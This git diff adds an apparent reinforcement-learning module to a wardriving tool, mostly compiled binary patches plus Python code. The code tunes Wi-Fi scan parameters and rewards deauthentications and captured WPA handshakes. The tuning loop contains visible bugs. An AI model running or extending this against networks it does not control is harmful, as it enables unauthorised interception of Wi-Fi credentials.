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 literal 0 HcmV?d00001 diff --git a/smart/__pycache__/learn.cpython-37.pyc b/smart/__pycache__/learn.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..0c63cc705707ffc8fea9350869c1a49e591abd13 GIT binary patch literal 5487 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 literal 0 HcmV?d00001 diff --git a/smart/__pycache__/state.cpython-37.pyc b/smart/__pycache__/state.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..759662d3b3632d2b7ab12f902d3cb4002bb410dc GIT binary patch literal 2033 zcmZuyO>Y}T7@pZLuN}t?X~{<`QA0kNgBqaN`GX8*$^53qODp&-<K; zIZ7($QuJKq;=E@YkCU@ltIjm*=jk}>yEsZML?`=?(9L5&E($!mP3UZk3)tQi=dSY3 zy^<;1d*a+zK2`xvdH2K}aUQ4&)*;r|#kx}XMX)J~%BFzzYS&g&5>N9}V{4~zrp#&l zEHNh!4u7b>dilpESKq_#$xlC0`}H&HosK8w{$_(wYD{8U(z>JgMJu$PNruP0 zdOptMVPx_+PjD@dk&5%!u9rJ$mM1#quQk0!$@O79ONOQwl&_$DSk?jH7ok@${M%`N zWfE=LvECWP&(lQj4#$&ZmZeEPZs(_oNlp7KJx+JbB-VMHwQt4|)@^=`-N|=0jG}%# z97YidZR!9aH>Bs(<(gb`XPd9PWB2-W7p}siSv*Rj$kw80G*;6g&FfM0?KB>iJ9-uO z@e3~j8PO6z@n8r-$?MmGg+BIx4txOkU$E4auYyb2^HfEJ2p?Zn;lLH^ACb;|x|AA? z)H!MnF;TJ*kthfecR<7t&}H-(ea3*Xl7|-p`_+`NrYK6>?iDT)9kRwU+8QK=5O5MfiVUzVJ6<{qkz_lv;oWv05s)R=)~R6g9UR!R#jKi-bz4^*9Fb`>ZUq03lhbQn>? z5z!4~bLkR}SoRC0pWY_e1k5V6qbCoae7-l^>P|;b6WtsiH|IsFNo8=aIlH~snHN!z z_ZMV8p5#-VsOF7#>8Xvy0j{5_`S45P-&^o1HU07PgdRl*%=g2xFzq$1tabD{-m$gv z)^DKH;&0HmF|+*;w(H+)t&Fq91>IKAp~jjbAsS@r76GNS-Xdrc(0}VvZ1XE|#e4@F^nfAP ngfhHUYiQ!SE!PI)r-P)Qa}{OsZ8z9(zpT=qlAF2kuC4wD 0: + self.scale_factor = -self.min_value + else: + self.scale_factor = 0 + + # Size of the parameter space + def space_size(self): + return self.max_value + self.scale_factor + + # Value function + def parameter_to_value(self, policy): + self.value = policy - self.scale_factor + return int(self.value) + +# OpenAI custom Gym Environment +class Environment(gym.Env): + metadata = {'render.modes': ['human']} + parameters = [ + Parameter('min_rssi', min_value=-200, max_value=-50), + Parameter('ap_ttl', min_value=30, max_value=600), + Parameter('station_ttl', min_value=60, max_value=300), + Parameter('recon_time', min_value=10, max_value=60), + Parameter('hop_recon_time', min_value=10, max_value=60), + Parameter('min_recon_time', min_value=5, max_value=30), + ] + + def __init__(self, agent, state): + super(Environment, self).__init__() + self.agent = agent + self.state = state + self.epoch_number = 0 + self.wifi_channels = 140 + self.observation_shape = (1,4) # 4: handshakes, misses, hops, deauths, new_aps + self.reward_range = (-.7, 1.02) + self.cache_state = None + self.cache_render = None + + for channel in range(self.wifi_channels): + Environment.parameters += [Parameter('channel_' + str(channel), min_value=0, max_value=1, channel=channel + 1)] + + # OpenAI Gym spaces + self.action_space = spaces.MultiDiscrete([p.space_size() for p in Environment.parameters]) + self.observation_space = spaces.Box(low=0, high=1, shape=self.observation_shape, dtype=np.float32) + + self.last = { + 'reward': 0.0, + 'policy': None, + 'parameters': {}, + 'state': None, + 'vectorized_state': None + } + + # Update the model parameters given a optimization policy + def update_parameters(policy): + parameters = {} + channels = [] + + assert len(Environment.parameters) == len(policy) + + for i in range(len(policy)): + parameter = Environment.parameters[i] + if 'channel' not in parameter.name: + parameters[parameter.name] = parameter.parameter_to_value(policy[i]) + else: + has_channel = parameter.parameter_to_value(policy[i]) + channel = parameter.channel + if has_channel: + channels.append(channel) + + parameters['channels'] = channels + + return parameters + + # Perform a iteration of the agent-environment loop + def step(self, policy): + new_parameters = Environment.update_parameters(policy) + self.last['policy'] = policy + self.last['parameters'] = new_parameters + + # Agent performs the action + self.agent.apply_policy(new_parameters) + self.epoch_number += 1 + + while (True): + # Wait for state data in parallel + if self.state.state_data and self.cache_state != self.state.state: + logging.info('[smart] State data: ' + str(self.state.state_data)) + + self.last['reward'] = self.state.state_data['reward'] + self.last['state'] = self.state.state_data + self.last['vectorized_state'] = spartan.smart.featurize(self.last['state']) + + self.agent.model.env.render() + self.agent.save_model() + + self.cache_state = self.state.state + + return self.last['vectorized_state'], self.last['reward'], False, {} + + # Reset the environment + def reset(self): + logging.info("[smart] Resetting the environment...") + self.epoch_number = 0 + if self.state.state_data: + self.last['state'] = self.state.state_data + self.last['vectorized_state'] = spartan.smart.featurize(self.state.state_data) + + return self.last['vectorized_state'] + + # Output environment data + def render(self, mode='human', close=False, force=False): + if self.cache_render == self.epoch_number: + return + + self.cache_render = self.epoch_number + + logging.info('[smart] Training epoch: ' + str(self.epoch_number)) #self._agent.training_epochs()))') + logging.info('[smart] Reward: ' + str(self.last['reward'])) + #print('Policy: ' + join("%s:%s" % (name, value) for name, value in self.last['parameters'].items()))) + +# Train the AI using A2C policy optimization +class Trainer(object): + def __init__(self, parameters): + self.parameters = parameters + self.model = None + + def train(self): + epochs_per_state = 50 + + self.model = spartan.smart.load_model(self.parameters, self, self.state) + + observations = None + while True: + self.model.env.render() + logging.info('[smart] Learning for ' + str(epochs_per_state) + ' epochs.') + self.model.learn(total_timesteps=epochs_per_state, callback=self.model.env.render()) + + if not observations: + observations = self.model.env.reset() + + action, _ = self.model.predict(observations) + observations, _, _, _ = self.model.env.step(action) + + # Save the A2C model + def save_model(self): + logging.info('[smart] Saving model') + self.model.save(spartan.smart.MODEL_PATH) + + # Apply new parameters + def apply_policy(self, new_parameters): + logging.info('[smart] Updating parameters with the new policy.') + for name, new_value in new_parameters.items(): + if name in self.parameters: + current_value = self.parameters[name] + + # Update the parameter value + if current_value != new_value: + self.parameters[name] = new_value + logging.info('[smart] Updating ' + str(name)+ ': ' + str(new_value)) + + post('set wifi.ap.ttl ' + str(self.parameters['ap_ttl'])) + post('set wifi.sta.ttl ' + str(self.parameters['station_ttl'])) + post('set wifi.rssi.min ' + str(self.parameters['min_rssi'])) diff --git a/smart/state.py b/smart/state.py new file mode 100644 index 0000000..b2f5480 --- /dev/null +++ b/smart/state.py @@ -0,0 +1,70 @@ +# Reward function of the reinforcement learning process +class RewardFunction(object): + def __call__(self, total_states, state_data): + total_interactions = max(state_data['deauths'], state_data['handshakes']) + 1e-20 + total_channels = 140 + + shakes = state_data['handshakes'] / total_interactions + hops = 0.1 * (state_data['hops'] / total_channels) + misses = -0.3 * (state_data['misses'] / total_interactions) + #new_aps = +0.3 * (state_data['new_aps'] / total_interactions) + + return shakes + hops + misses #+ new_aps + +# Information about each wardrive state (state = one loop of wardrive session) +class State(object): + def __init__(self, parameters): + self.state = 0 + self.parameters = parameters + + self.did_deauth = False + self.deauths = 0 + self.misses = 0 + self.new_aps = 0 + self.handshakes = 0 + self.hops = 0 + + self.reward = RewardFunction() + self.state_data = {} + + # Track usefuel state statistics + def track(self, deauth=False, handshake=False, hop=False, miss=False, new=False, increment=1): + if deauth: + self.deauths += increment + self.did_deauth = True + if miss: + self.misses += increment + if hop: + self.hops += increment + if handshake: + self.handshakes += increment + if new: + self.new_aps += increment + + # Rotate the state + def next_state(self): + self.state_data = { + 'hops': self.hops, + 'deauths': self.deauths, + 'handshakes': self.handshakes, + 'misses': self.misses, + #'new_aps': self.new_aps, + } + + self.state_data['reward'] = self.reward(self.state + 1, self.state_data) + + print('\nSTATE:' + str(self.state)) + print('Number of channel hops: ' + str(self.hops)) + print('Number of deauths: ' + str(self.deauths)) + print('Number of captured handshakes: ' + str(self.handshakes)) + print('Number of missed APs: ' + str(self.misses)) + print('Number of discovered new APs: ' + str(self.new_aps)) + print('Reward: ' + str(self.state_data['reward']) + '\n') + + self.state += 1 + self.did_deauth = False + self.deauths = 0 + self.misses = 0 + self.new_aps = 0 + self.handshakes = 0 + self.hops = 0 diff --git a/spartan/__init__.py b/spartan/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/spartan/__pycache__/__init__.cpython-37.pyc b/spartan/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..7aee868cc462e70767d447efbac5d6a0dcae7bf4 GIT binary patch literal 154 zcmZ?b<>g`kf;)#>;z0Cc5CH>>K!yVl7qb9~6oz01O-8?!3`HPe1o6vRKeRZts8~O- zNH;67EHkx8FDJhswJI+&wIpA^BqOyrvsk}8Gc8lMxFE5pBr#7PM#slz=4F<|$LkeT U-r}&y%}*)KNwotR{uziF0KHWwkN^Mx literal 0 HcmV?d00001 diff --git a/spartan/__pycache__/automata.cpython-37.pyc b/spartan/__pycache__/automata.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..a656da6493af058d57c31261c347120b335b10eb GIT binary patch literal 4822 zcmZ`-OLH5?5#BczO8^8RiV_(|*(hNpuuEVnm51YEsia8qBPCOeNJa9NovkHi2`;%< zfU`r1+5kC3K3Zkx;-d>Z=8{u>gO914=bDqxx%rf@X918>9I)p7*qQGBzV6{~>vd1V zZ|yVr$6G6!_HSy;eikaXkn*pPF^%b|*4G1Fr@Dc<5g4j&re@y?tiB!Cs%@oCzY6EY<>@X@S9XX5h;vGns|bVm5P7 z+T{rYXL_;wXkrqPC$n~Cv+)%kGtV4U^ zj4*x%fs4w-MU7@vm?5eYkD169&a^Y*ipH!fv=XAlC+#h+W8cE>Y#hbU!#+i3BxV}@^ogt*xu1jwi@u&|0@mwx;PdLZZcCr=?!)FJHh|?q&oCGN=yF5y=m`gVdlPnQo$jPPxdq*k65=lRn zE@tnmn$zp6vNk)GI)wq1#_2v^z{Lg99Sq|lOJXtD z5C?Id!cNvAZNj z`cX+&Q##v4ML=Hyx;QkLv8uh$uOLB38gx?jTCeol(_ZJ5-U`;6PHQ&M%`-VlT5RG^xpBY!sfGhmYReMW*R1^k)<+r3hc2I2R>Z z!d#RB4G2Ly)JtqJ^CiTXXk-2KUFyH9eX=<=Mh1g8N!Ujfehn>qRU4ZlbEKnve`NG@ zK*-$Gj;~RcnZ_K#E+O@$35Zm;<_99(5+-+$)Kx~%?JD8O z*aDrDRoRdS)2P44qML1O@E;_tc&n5Fm?n&dKuXMK=;>^xgKm`OH&L0c z(xnNMO7{TllmT^o4O_f&Iujl0bTw221VQI}p{o;qL&wL#%rqwYGmf6Vc0T?FCj1hK 